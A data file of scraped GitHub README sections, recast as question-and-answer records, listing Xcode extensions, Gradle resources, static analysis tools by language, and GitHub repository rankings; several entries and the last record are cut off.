{"id": "gh_14876e5d9a7e", "question": "How to: Extensions", "question_body": "About vsouza/awesome-ios", "answer": "* [CleanClosureXcode](https://github.com/BalestraPatrick/CleanClosureXcode) - An Xcode Source Editor extension to clean the closure syntax.\n* [xTextHandler](https://github.com/cyanzhong/xTextHandler) - Xcode Source Editor Extension Toolset (Plugins for Xcode 8).\n* [SwiftInitializerGenerator](https://github.com/Bouke/SwiftInitializerGenerator) - Xcode 8 Source Code Extension to Generate Swift Initializers.\n* [XcodeEquatableGenerator](https://github.com/sergdort/XcodeEquatableGenerator) - Xcode 8 Source Code Extension will generate conformance to Swift Equatable protocol based on type and fields selection.\n* [Import](https://github.com/markohlebar/Import) - Xcode extension for adding imports from anywhere in the code.\n* [Mark](https://github.com/velyan/Mark) - Xcode extension for generating MARK comments.\n* [XShared](https://github.com/Otbivnoe/XShared) - Xcode extension which allows you copying the code with special formatting quotes for social (Slack, Telegram).\n* [XGist](https://github.com/Bunn/Xgist) - Xcode extension which allows you to send your text selection or entire file to GitHub's Gist and automatically copy the Gist URL into your Clipboard.\n* [Swiftify](https://swiftify.com/) - Objective-C to Swift online code converter and Xcode extension.\n* [DocumenterXcode](https://github.com/serhii-londar/DocumenterXcode) - Attempt to give a new life for VVDocumenter-Xcode as source editor extension.\n* [Snowonder](https://github.com/Karetski/Snowonder) - Magical import declarations formatter for Xcode.\n* [XVim2](https://github.com/XVimProject/XVim2) - Vim key-bindings for Xcode 9.\n* [Comment Spell Checker](https://github.com/velyan/Comment-Spell-Checker) - Xcode extension for spell checking and auto correcting code comments.\n* [nef](https://github.com/bow-swift/nef-plugin) - This Xcode extension enables you to make a code selection and export it to a snippets. Available on Mac AppStore.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580450"}
{"id": "gh_ac41569a2c75", "question": "How to: Other Xcode", "question_body": "About vsouza/awesome-ios", "answer": "- [awesome-xcode-scripts](https://github.com/aashishtamsya/awesome-xcode-scripts) - A curated list of useful xcode scripts.\n- [Synx](https://github.com/venmo/synx) - A command-line tool that reorganizes your Xcode project folder to match your Xcode groups.\n- [dsnip](https://github.com/Tintenklecks/IBDelegateCodesippets) - Tool to generate (native) Xcode code snippets from all protocols/delegate methods of UIKit (UITableView, ...)\n- [SBShortcutMenuSimulator](https://github.com/DeskConnect/SBShortcutMenuSimulator) - 3D Touch shortcuts in the Simulator.\n- [awesome-gitignore-templates](https://github.com/aashishtamsya/awesome-gitignore-templates) - A collection of swift, objective-c, android and many more langugages .gitignore templates.\n- [swift-project-template](https://github.com/artemnovichkov/swift-project-template) - Template for iOS Swift project generation.\n- [Swift-VIPER-Module](https://github.com/Juanpe/Swift-VIPER-Module) - Xcode template for create modules with VIPER Architecture written in Swift 3.\n- [ViperC](https://github.com/abdullahselek/ViperC) - Xcode template for VIPER Architecture for both Objective-C and Swift.\n- [XcodeCodeSnippets](https://github.com/ismetanin/XcodeCodeSnippets) - A set of code snippets for iOS development, includes code and comments snippets.\n- [Xcode Keymap for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=stevemoser.xcode-keybindings) - This extension ports popular Xcode keyboard shortcuts to Visual Studio Code.\n- [Xcode Template Manager](https://github.com/Camji55/xtm) - Xcode Template Manager is a Swift command line tool that helps you manage your Xcode project templates.\n- [VIPER Module Template](https://github.com/EvsenevDev/VIPERModuleTemplate) - Xcode Template of VIPER Module which generates all layers of VIPER.\n- [Xcode Developer Disk Images](https://github.com/haikieu/xcode-developer-disk-image-all-platforms) - Xcode Developer Disk Images is needed when you want to put your build to the device, however sometimes your Xcode is not updated with the latest Disk Images, you could find them here for convenience.\n- [Swift Macros 🚀](https://github.com/krzysztofzablocki/Swift-Macros) - A curated list of community-created Macros and associated learning resources.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580462"}
{"id": "gh_c120e1723d46", "question": "How to: 🐘 **Gradle Build Tool**", "question_body": "About gradle/gradle", "answer": "**[Gradle](https://gradle.org/)** is a highly scalable build automation tool designed to handle everything from large, multi-project enterprise builds to quick development tasks across various languages. Gradle’s modular, performance-oriented architecture seamlessly integrates with development environments, making it a go-to solution for building, testing, and deploying applications on **Java**, **Kotlin**, **Scala**, **Android**, **Groovy**, **C++**, and **Swift**.\n\n> For a comprehensive overview, please visit the [official Gradle project homepage](https://gradle.org).\n\n---", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18293, "answer_score": 10, "has_code": false, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536265"}
{"id": "gh_f4b475fa5c01", "question": "How to: 🚀 **Getting Started**", "question_body": "About gradle/gradle", "answer": "Starting with Gradle is easy with these essential resources. Follow these to install Gradle, set up initial projects, and explore supported platforms:\n\n- **[Installing Gradle](https://docs.gradle.org/current/userguide/installation.html)**\n- **Build Projects for Popular Languages and Frameworks**:\n  - [Java Applications](https://docs.gradle.org/current/samples/sample_building_java_applications.html)\n  - [Java Modules](https://docs.gradle.org/current/samples/sample_java_modules_multi_project.html)\n  - [Android Apps](https://developer.android.com/studio/build/index.html)\n  - [Groovy Applications](https://docs.gradle.org/current/samples/sample_building_groovy_applications.html)\n  - [Kotlin Libraries](https://docs.gradle.org/current/samples/sample_building_kotlin_libraries.html)\n  - [Scala Applications](https://docs.gradle.org/current/samples/sample_building_scala_applications.html)\n  - [Spring Boot Web Apps](https://docs.gradle.org/current/samples/sample_building_spring_boot_web_applications.html)\n  - [C++ Libraries](https://docs.gradle.org/current/samples/sample_building_cpp_libraries.html)\n  - [Swift Apps](https://docs.gradle.org/current/samples/sample_building_swift_applications.html)\n  - [Swift Libraries](https://docs.gradle.org/current/samples/sample_building_swift_libraries.html)\n\n> 📘 Explore Gradle’s full array of resources through the [Gradle Documentation](https://docs.gradle.org/).\n\n---", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18293, "answer_score": 10, "has_code": false, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536287"}
{"id": "gh_b0ec1d5a9226", "question": "How to: 🛠 **Seamless IDE & CI Integration**", "question_body": "About gradle/gradle", "answer": "Gradle is built to work smoothly with a variety of Integrated Development Environments (IDEs) and Continuous Integration (CI) systems, providing extensive support for a streamlined workflow:\n\n-   **Supported IDEs**: Quickly integrate Gradle with [Android Studio](https://docs.gradle.org/current/userguide/gradle_ides.html), [IntelliJ IDEA](https://docs.gradle.org/current/userguide/gradle_ides.html), [Eclipse](https://docs.gradle.org/current/userguide/gradle_ides.html), [NetBeans](https://docs.gradle.org/current/userguide/gradle_ides.html), and [Visual Studio Code](https://docs.gradle.org/current/userguide/gradle_ides.html).\n-   **Continuous Integration**: Gradle easily connects with popular CI tools, including Jenkins, [GitHub Actions](https://docs.github.com/actions), [GitLab CI](https://docs.gitlab.com/ee/ci/), [CircleCI](https://circleci.com/), and more, to streamline build and deployment pipelines.\n\n---", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18293, "answer_score": 10, "has_code": false, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536297"}
{"id": "gh_d483562c1936", "question": "How to: 🎓 **Learning Resources for Gradle**", "question_body": "About gradle/gradle", "answer": "Kickstart your Gradle knowledge with courses, guides, and community support tailored to various experience levels:\n\n- **[DPE University Free Courses](https://dpeuniversity.gradle.com/app/catalog)**: A collection of hands-on courses for learning Gradle, complete with project-based tasks to improve real-world skills.\n- **[Gradle Community Resources](https://community.gradle.org/resources/)**: Discover a range of resources, tutorials, and guides to support your Gradle journey, from foundational concepts to advanced practices.\n\n---", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18293, "answer_score": 10, "has_code": false, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536304"}
{"id": "gh_a1c7e599506d", "question": "How to: 🌱 **Contributing to Gradle**", "question_body": "About gradle/gradle", "answer": "- **Contribution Guide**: [Contribute](https://github.com/gradle/gradle/blob/master/CONTRIBUTING.md) to Gradle by submitting patches or pull requests for code or documentation improvements.\n- **Code of Conduct**: Gradle enforces a [Code of Conduct](https://gradle.org/conduct/) to ensure a welcoming and supportive community for all contributors.\n\n---", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18293, "answer_score": 10, "has_code": false, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536320"}
{"id": "gh_897b0be6691a", "question": "How to: 🔗 **Additional Resources**", "question_body": "About gradle/gradle", "answer": "To make the most out of Gradle, take advantage of these additional resources:\n\n- **[Gradle Documentation](https://docs.gradle.org/)** - Your go-to guide for all Gradle-related documentation.\n- **[DPE University](https://dpeuniversity.gradle.com/app/catalog)** - Explore tutorials designed to get you started quickly.\n- **[Community Resources](https://gradle.org/resources/)** - Find more community-contributed materials to expand your knowledge.\n\n> 🌟 **Stay connected with the Gradle Community and access the latest news, training, and updates via [Slack](https://gradle.org/slack-invite), [Forum](https://discuss.gradle.org/), and our [Newsletter](https://newsletter.gradle.org)**.", "tags": ["gradle"], "source": "github_gists", "category": "gradle", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18293, "answer_score": 10, "has_code": true, "url": "https://github.com/gradle/gradle", "collected_at": "2026-01-17T08:20:47.536335"}
{"id": "gh_a1258678b5e5", "question": "How to: 如何为列表贡献新资源？", "question_body": "About jobbole/awesome-java-cn", "answer": "欢迎大家为列表贡献高质量的新资源，提交PR时请参照以下要求：\n\n* 请确保推荐的资源自己使用过\n* 提交PR时请注明推荐理由\n\n资源列表管理收到PR请求后，会定期（每周）在微博转发本周提交的PR列表，并在微博上面听取使用过这些资源的意见。确认通过后，会加入资源大全。\n\n感谢您的贡献！\n\n* * *", "tags": ["jobbole"], "source": "github_gists", "category": "jobbole", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 15720, "answer_score": 10, "has_code": false, "url": "https://github.com/jobbole/awesome-java-cn", "collected_at": "2026-01-17T08:20:49.007517"}
{"id": "gh_bb2864a3f2ed", "question": "How to: Meaning of Symbols:", "question_body": "About analysis-tools-dev/static-analysis", "answer": "- :copyright: stands for proprietary software. All other tools are Open Source.\n- :information_source: indicates that the community does not recommend to use this tool for new projects anymore. The icon links to the discussion issue.\n- :warning: means that this tool was not updated for more than 1 year, or the repo was archived.\n\nPull requests are very welcome!  \nAlso check out the sister project, [awesome-dynamic-analysis](https://github.com/mre/awesome-dynamic-analysis).", "tags": ["analysis-tools-dev"], "source": "github_gists", "category": "analysis-tools-dev", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14316, "answer_score": 10, "has_code": false, "url": "https://github.com/analysis-tools-dev/static-analysis", "collected_at": "2026-01-17T08:20:50.399005"}
{"id": "gh_07f2af32b077", "question": "How to: Table of Contents", "question_body": "About analysis-tools-dev/static-analysis", "answer": "#### [Programming Languages](#programming-languages-1)\n\n- [ABAP](#abap)\n- [Ada](#ada)\n- [Assembly](#asm)\n- [Awk](#awk)\n- [C](#c)\n- [C#](#csharp)\n- [C++](#cpp)\n- [Clojure](#clojure)\n- [CoffeeScript](#coffeescript)\n- [ColdFusion](#coldfusion)\n- [Crystal](#crystal)\n- [Dart](#dart)\n- [Delphi](#delphi)\n- [Dlang](#dlang)\n- [Elixir](#elixir)\n- [Elm](#elm)\n- [Erlang](#erlang)\n- [F#](#fsharp)\n- [Fortran](#fortran)\n- [Go](#go)\n- [Groovy](#groovy)\n- [Haskell](#haskell)\n- [Haxe](#haxe)\n- [Java](#java)\n- [JavaScript](#javascript)\n- [Julia](#julia)\n- [Kotlin](#kotlin)\n- [Lua](#lua)\n- [MATLAB](#matlab)\n- [Nim](#nim)\n- [Ocaml](#ocaml)\n- [PHP](#php)\n- [PL/SQL](#plsql)\n- [Perl](#perl)\n- [Python](#python)\n- [R](#r)\n- [Rego](#rego)\n- [Ruby](#ruby)\n- [Rust](#rust)\n- [SQL](#sql)\n- [Scala](#scala)\n- [Shell](#shell)\n- [Swift](#swift)\n- [Tcl](#tcl)\n- [TypeScript](#typescript)\n- [Verilog/SystemVerilog](#verilog)\n- [Vim Script](#vim-script)\n- [WebAssembly](#wasm)\n\n#### [Multiple Languages](#multiple-languages-1)\n\n#### [Other](#other-1)\nShow Other\n- [.env](#dotenv)\n- [Ansible](#ansible)\n- [Archive](#archive)\n- [Azure Resource Manager](#arm)\n- [Binaries](#binary)\n- [Build tools](#buildtool)\n- [CSS/SASS/SCSS](#css)\n- [Config Files](#configfile)\n- [Configuration Management](#configmanagement)\n- [Containers](#container)\n- [Continuous Integration](#ci)\n- [Deno](#deno)\n- [Dockerfile](#dockerfile)\n- [Embedded](#embedded)\n- [Embedded Ruby (a.k.a. ERB, eRuby)](#erb)\n- [Formatter](#formatter)\n- [Gherkin](#gherkin)\n- [HTML](#html)\n- [JSON](#json)\n- [Kubernetes](#kubernetes)\n- [LaTeX](#latex)\n- [Laravel](#laravel)\n- [Makefiles](#make)\n- [Markdown](#markdown)\n- [Metalinter](#meta)\n- [Mobile](#mobile)\n- [Nix](#nix)\n- [Node.js](#nodejs)\n- [Packages](#package)\n- [Prometheus](#prometheus)\n- [Protocol Buffers](#protobuf)\n- [Puppet](#puppet)\n- [Rails](#rails)\n- [Security/SAST](#security)\n- [Smart Contracts](#smart-contracts)\n- [Support](#support)\n- [Template-Languages](#template)\n- [Terraform](#terraform)\n- [Translation](#translation)\n- [Vue.js](#vue)\n- [Writing](#writing)\n- [YAML](#yaml)\n- [git](#git)\n---", "tags": ["analysis-tools-dev"], "source": "github_gists", "category": "analysis-tools-dev", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14316, "answer_score": 10, "has_code": false, "url": "https://github.com/analysis-tools-dev/static-analysis", "collected_at": "2026-01-17T08:20:50.399029"}
{"id": "gh_cef5092c4cf5", "question": "How to: Programming Languages", "question_body": "About analysis-tools-dev/static-analysis", "answer": "ABAP\n- [abaplint](https://abaplint.org) — Linter for ABAP, written in TypeScript.\n\n- [abapOpenChecks](https://docs.abapopenchecks.org) — Enhances the SAP Code Inspector with new and customizable checks.\nAda\n- [Codepeer](https://www.adacore.com/static-analysis/codepeer) :copyright: — Detects run-time and logic errors.\n\n- [Polyspace for Ada](https://www.mathworks.com/products/polyspace-ada.html) :copyright: — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in source code.\n\n- [SPARK](https://www.adacore.com/about-spark) :copyright: — Static analysis and formal verification toolset for Ada.\nAssembly\n- **STOKE** :warning: — A programming-language agnostic stochastic optimizer for the x86_64 instruction set. It uses random search to explore the extremely high-dimensional space of all possible program transformations.\nAwk\n- [gawk --lint](https://www.gnu.org/software/gawk/manual/html_node/Options.html) — Warns about constructs that are dubious or nonportable to other awk implementations.\nC\n- [Astrée](https://www.absint.com/astree/index.htm) :copyright: — Astrée automatically proves the absence of runtime errors and invalid con­current behavior in C/C++ applications. It is sound for floating-point computations, very fast, and exceptionally precise. The analyzer also checks for MISRA/CERT/CWE/Adaptive Autosar coding rules and supports qualification for ISO 26262, DO-178C level A, and other safety standards. Jenkins and Eclipse plugins are available.\n\n- [CBMC](http://www.cprover.org/cbmc) — Bounded model-checker for C programs, user-defined assertions, standard assertions, several coverage metric analyses.\n\n- [clang-tidy](https://clang.llvm.org/extra/clang-tidy) — Clang-based C++ linter tool with the (limited) ability to fix issues, too.\n\n- [clazy](https://github.com/KDE/clazy) — Qt-oriented static code analyzer based on the Clang framework. clazy is a compiler plugin which allows clang to understand Qt semantics. You get more than 50 Qt related compiler warnings, ranging from unneeded memory allocations to misusage of API, including fix-its for automatic refactoring.\n\n- [CMetrics](https://github.com/MetricsGrimoire/CMetrics) — Measures size and complexity for C files.\n\n- [CPAchecker](https://cpachecker.sosy-lab.org) — A tool for configurable software verification of C programs.  The name CPAchecker was chosen to reflect that the tool is based on the CPA concepts and is used for checking software programs.\n\n- [cppcheck](https://cppcheck.sourceforge.io) — Static analysis of C/C++ code.\n\n- [CppDepend](https://www.cppdepend.com) :copyright: — Measure, query and visualize your code and avoid unexpected issues, technical debt and complexity.\n\n- [cpplint](https://github.com/cpplint/cpplint) — Automated C++ checker that follows Google's style guide.\n\n- [cqmetrics](https://github.com/dspinellis/cqmetrics) — Quality metrics for C code.\n\n- [CScout](https://www.spinellis.gr/cscout) — Complexity and quality metrics for C and C preprocessor code.\n\n- **ENRE-cpp** :warning: — ENRE (ENtity Relationship Extractor) is a tool for extraction of code entity dependencies or relationships from source code. ENRE-cpp is a ENtity Relationship Extractor for C/C++ based on @eclipse/CDT. (Under development)\n\n- [ESBMC](http://esbmc.org) — ESBMC is an open source, permissively licensed, context-bounded model checker based on satisfiability modulo theories for the verification of single- and multi-threaded C/C++ programs.\n\n- **flawfinder** :warning: — Finds possible security weaknesses.\n\n- **flint++** :warning: — Cross-platform, zero-dependency port of flint, a lint program for C++ developed and used at Facebook.\n\n- [Frama-C](https://www.frama-c.com) — A sound and extensible static analyzer for C code.\n\n- [GCC](https://gcc.gnu.org/onlinedocs/gcc/Static-Analyzer-Options.html) — The GCC compiler has static analysis capabilities since version 10. This option is only available if GCC was configured with analyzer support enabled.  It can also output its diagnostics to a JSON file in the SARIF format (from v13).\n\n- [Goblint](https://goblint.in.tum.de) — A static analyzer for the analysis of multi-threaded C programs. Its primary focus is the  detection of data races, but it also reports other runtime errors, such as buffer overflows and null-pointer dereferences.\n\n- [Helix QAC](https://www.perforce.com/products/helix-qac) :copyright: — Enterprise-grade static analysis for embedded software. Supports MISRA, CERT, and AUTOSAR coding standards.\n\n- [IKOS](https://github.com/nasa-sw-vnv/ikos) — A sound static analyzer for C/C++ code based on LLVM.\n\n- [KLEE](http://klee.github.io/) — A dynamic symbolic execution engine built on top of the LLVM compiler infrastructure.  It can auto-generate test cases for programs such that th", "tags": ["analysis-tools-dev"], "source": "github_gists", "category": "analysis-tools-dev", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14316, "answer_score": 10, "has_code": false, "url": "https://github.com/analysis-tools-dev/static-analysis", "collected_at": "2026-01-17T08:20:50.399332"}
{"id": "gh_f3a31e5ff769", "question": "How to: Multiple languages", "question_body": "About analysis-tools-dev/static-analysis", "answer": "- [ale](https://github.com/w0rp/ale) — Asynchronous Lint Engine for Vim and NeoVim with support for many languages.\n\n- [Android Studio](https://developer.android.com/studio) — Based on IntelliJ IDEA, and comes bundled with tools for Android including Android Lint.\n\n- [AppChecker](https://npo-echelon.ru/en/solutions/appchecker.php) :copyright: — Static analysis for C/C++/C#, PHP and Java.\n\n- [Application Inspector](https://www.ptsecurity.com/ww-en/products/ai) :copyright: — Commercial Static Code Analysis which generates exploits to verify vulnerabilities.\n\n- [ApplicationInspector](https://github.com/microsoft/ApplicationInspector) — Creates reports of over 400 rule patterns for feature detection (e.g. the use of cryptography or version control in apps).\n\n- [ArchUnit](https://www.archunit.org) — Unit test your Java or Kotlin architecture.\n\n- [ast-grep](https://ast-grep.github.io/) — ast-grep is a powerful tool designed for managing code at scale using Abstract Syntax Trees (AST). Think of it as a hybrid of grep, eslint, and codemod, with the ability to search, lint, and rewrite code based on its structure rather than plain text.\nIt supports multiple languages and is designed to be extensible, allowing you to register custom languages.\n\n- **Atom-Beautify** :warning: — Beautify HTML, CSS, JavaScript, PHP, Python, Ruby, Java, C, C++, C#, Objective-C, CoffeeScript, TypeScript, Coldfusion, SQL, and more in Atom editor.\n\n- [autocorrect](https://huacnlee.github.io/autocorrect) — A linter and formatter to help you to improve copywriting, correct spaces, words, punctuations between CJK (Chinese, Japanese, Korean).\n\n- [Axivion Bauhaus Suite](https://www.axivion.com/en/products-services-9#products_bauhaussuite) :copyright: — Tracks down error-prone code locations, style violations, cloned or dead code, cyclic dependencies and more for C/C++, C#/.NET, Java and Ada 83/Ada 95.\n\n- [Bearer](https://github.com/bearer/bearer) — Open-Source static code analysis tool to discover,  filter and prioritize security risks and vulnerabilities  leading to sensitive data exposures (PII, PHI, PD).  Highly configurable and easily extensible,  built for security and engineering teams.\n\n- [Better Code Hub](https://bettercodehub.com) :copyright: — Better Code Hub checks your GitHub codebase against 10 engineering guidelines devised by the authority in software quality, Software Improvement Group.\n\n- **Betterscan CE** :warning: — Checks your code and infra (various Git repositories supported, cloud stacks, CLI, Web Interface platform, integrationss available) for security and quality issues. Code Scanning/SAST/Linting using many tools/Scanners deduplicated with One Report (AI optional).\n\n- [biome](https://biomejs.dev) — A toolchain for web projects, aimed to provide functionalities to maintain them. Biome formats and lints code in a fraction of a second. It is the successor to Rome. It is designed to eventually replace Biome is designed to eventually replace Babel, ESLint, webpack, Prettier, Jest, and others.\n\n- **BugProve** :warning: :copyright: — BugProve is a firmware analysis platform featuring both static and dynamic analysis techniques to discover memory corruptions, command injections and other classes or common weaknesses in binary code. It also detects vulnerable dependencies, weak cryptographic parameters, misconfigurations, and more.\n\n- [callGraph](https://github.com/koknat/callGraph) — Statically generates a call graph image and displays it on screen.\n\n- [CAST Highlight](https://www.castsoftware.com/products/highlight) :copyright: — Commercial Static Code Analysis which runs locally, but uploads the results to its cloud for presentation.\n\n- [Checkmarx CxSAST](https://www.checkmarx.com/products/static-application-security-testing) :copyright: — Commercial Static Code Analysis which doesn't require pre-compilation.\n\n- [ClassGraph](https://github.com/classgraph/classgraph) — A classpath and module path scanner for querying or visualizing class metadata or class relatedness.\n\n- [Clayton](https://www.getclayton.com/) :copyright: — AI-powered code reviews for Salesforce. Secure your developments, enforce best practice and control your technical debt in real-time.\n\n- **coala** :warning: — Language independent framework for creating code analysis - supports over 60 languages by default.\n\n- [Cobra](https://spinroot.com/cobra) :copyright: — Structural source code analyzer by NASA's Jet Propulsion Laboratory.\n\n- [Codacy](https://www.codacy.com) :copyright: — Code Analysis to ship Better Code, Faster.\n\n- [Code Intelligence](https://www.code-intelligence.com) :copyright: — CI/CD-agnostic DevSecOps platform which combines industry-leading fuzzing engines for finding bugs and visualizing code coverage\n\n- [Codeac](https://www.codeac.io/?ref=awesome-static-analysis) :copyright: — Automated code review tool integrates with GitHub, Bitbucket and GitLab (even self-hosted). Available for JavaScript, TypeScript, Python, Ruby, Go, PHP, Java, Docker, an", "tags": ["analysis-tools-dev"], "source": "github_gists", "category": "analysis-tools-dev", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14316, "answer_score": 10, "has_code": false, "url": "https://github.com/analysis-tools-dev/static-analysis", "collected_at": "2026-01-17T08:20:50.399439"}
{"id": "gh_d7084abfd56e", "question": "How to: More Collections", "question_body": "About analysis-tools-dev/static-analysis", "answer": "- [Clean code linters](https://github.com/collections/clean-code-linters) — A collection of linters in github collections\n- [Code Quality Checker Tools For PHP Projects](https://github.com/collections/code-quality-in-php) — A collection of PHP linters in github collections\n- [go-tools](https://github.com/dominikh/go-tools) — A collection of tools and libraries for working with Go code, including linters and static analysis\n- [linters](https://github.com/mcandre/linters) — An introduction to static code analysis\n- [OWASP Source Code Analysis Tools](https://owasp.org/www-community/Source_Code_Analysis_Tools) — List of tools maintained by the Open Web Application Security Project\n- [php-static-analysis-tools](https://github.com/exakat/php-static-analysis-tools) — A reviewed list of useful PHP static analysis tools\n- [Wikipedia](http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis) — A list of tools for static code analysis.", "tags": ["analysis-tools-dev"], "source": "github_gists", "category": "analysis-tools-dev", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14316, "answer_score": 10, "has_code": false, "url": "https://github.com/analysis-tools-dev/static-analysis", "collected_at": "2026-01-17T08:20:50.399538"}
{"id": "gh_5c45c62875ff", "question": "How to: Sponsor me", "question_body": "About EvanLi/Github-Ranking", "answer": "[Buy Me a Coffee | Alipay & WeChat Pay](https://afdian.com/a/EvanLi/plan)\n\n[afdian 爱发电 EvanLi | 支付宝/微信支付](https://afdian.com/a/EvanLi/plan)", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914784"}
{"id": "gh_9605193b2651", "question": "How to: Table of Contents", "question_body": "About EvanLi/Github-Ranking", "answer": "* [Most Stars](#most-stars)\n* [Most Forks](#most-forks)\n* [ActionScript](#actionscript)\n* [C](#c)\n* [C\\#](#c-1)\n* [C\\+\\+](#c-2)\n* [Clojure](#clojure)\n* [CoffeeScript](#coffeescript)\n* [CSS](#css)\n* [Dart](#dart)\n* [DM](#dm)\n* [Elixir](#elixir)\n* [Go](#go)\n* [Groovy](#groovy)\n* [Haskell](#haskell)\n* [HTML](#html)\n* [Java](#java)\n* [JavaScript](#javascript)\n* [Julia](#julia)\n* [Kotlin](#kotlin)\n* [Lua](#lua)\n* [MATLAB](#matlab)\n* [Objective\\-C](#objective-c)\n* [Perl](#perl)\n* [PHP](#php)\n* [PowerShell](#powershell)\n* [Python](#python)\n* [R](#r)\n* [Ruby](#ruby)\n* [Rust](#rust)\n* [Scala](#scala)\n* [Shell](#shell)\n* [Swift](#swift)\n* [TeX](#tex)\n* [TypeScript](#typeScript)\n* [Vim script](#vim-script)", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914803"}
{"id": "gh_0a8b46f46810", "question": "How to: Most Stars", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars](Top100/Top-100-stars.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [build-your-own-x](https://github.com/codecrafters-io/build-your-own-x) | 457328 | 42880 | Markdown | 255 | Master programming by recreating your favorite technologies from scratch. | 2025-12-26T19:40:39Z |\n| 2 | [freeCodeCamp](https://github.com/freeCodeCamp/freeCodeCamp) | 435950 | 43098 | TypeScript | 241 | freeCodeCamp.org's open-source codebase and curriculum. Learn math, programming, and computer science for free. | 2026-01-16T22:08:01Z |\n| 3 | [awesome](https://github.com/sindresorhus/awesome) | 430001 | 32868 | None | 16 | 😎 Awesome lists about all kinds of interesting topics | 2026-01-15T13:32:01Z |\n| 4 | [public-apis](https://github.com/public-apis/public-apis) | 391382 | 41870 | Python | 2 | A collective list of free APIs | 2025-11-04T18:29:01Z |\n| 5 | [free-programming-books](https://github.com/EbookFoundation/free-programming-books) | 380590 | 65744 | Python | 35 | :books: Freely available programming books | 2026-01-05T13:41:58Z |\n| 6 | [developer-roadmap](https://github.com/kamranahmedse/developer-roadmap) | 347362 | 43630 | TypeScript | 27 | Interactive roadmaps, guides and other educational content to help developers grow in their careers. | 2026-01-16T14:35:10Z |\n| 7 | [coding-interview-university](https://github.com/jwasham/coding-interview-university) | 335884 | 81571 | None | 70 | A complete computer science study plan to become a software engineer. | 2025-08-28T14:42:47Z |\n| 8 | [system-design-primer](https://github.com/donnemartin/system-design-primer) | 332409 | 54065 | Python | 246 | Learn how to design large-scale systems. Prep for the system design interview.  Includes Anki flashcards. | 2025-11-03T12:06:22Z |\n| 9 | [awesome-python](https://github.com/vinta/awesome-python) | 278536 | 27063 | Python | 0 | An opinionated list of awesome Python frameworks, libraries, software and resources. | 2026-01-16T18:57:19Z |\n| 10 | [996.ICU](https://github.com/996icu/996.ICU) | 275175 | 20987 | None | 0 | Repo for counting stars and contributing. Press F to pay respect to glorious developers. | 2025-08-22T06:01:29Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914821"}
{"id": "gh_85218fde470a", "question": "How to: Most Forks", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Forks](Top100/Top-100-forks.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [datasharing](https://github.com/jtleek/datasharing) | 6688 | 243279 | None | 308 | The Leek group guide to data sharing  | 2024-08-07T08:29:32Z |\n| 2 | [Spoon-Knife](https://github.com/octocat/Spoon-Knife) | 13545 | 155581 | HTML | 2620 | This repo is for demonstration purposes only. | 2024-08-21T15:25:42Z |\n| 3 | [ProgrammingAssignment2](https://github.com/rdpeng/ProgrammingAssignment2) | 875 | 143968 | R | 202 | Repository for Programming Assignment 2 for R Programming on Coursera | 2024-08-14T21:14:33Z |\n| 4 | [first-contributions](https://github.com/firstcontributions/first-contributions) | 52242 | 96622 | None | 45 | 🚀✨ Help beginners to contribute to open source projects | 2026-01-17T03:33:35Z |\n| 5 | [SmartThingsPublic](https://github.com/SmartThingsCommunity/SmartThingsPublic) | 2626 | 88290 | Groovy | 72 | SmartThings open-source DeviceType Handlers and SmartApps code | 2023-07-18T18:42:27Z |\n| 6 | [css-exercises](https://github.com/TheOdinProject/css-exercises) | 2550 | 87812 | HTML | 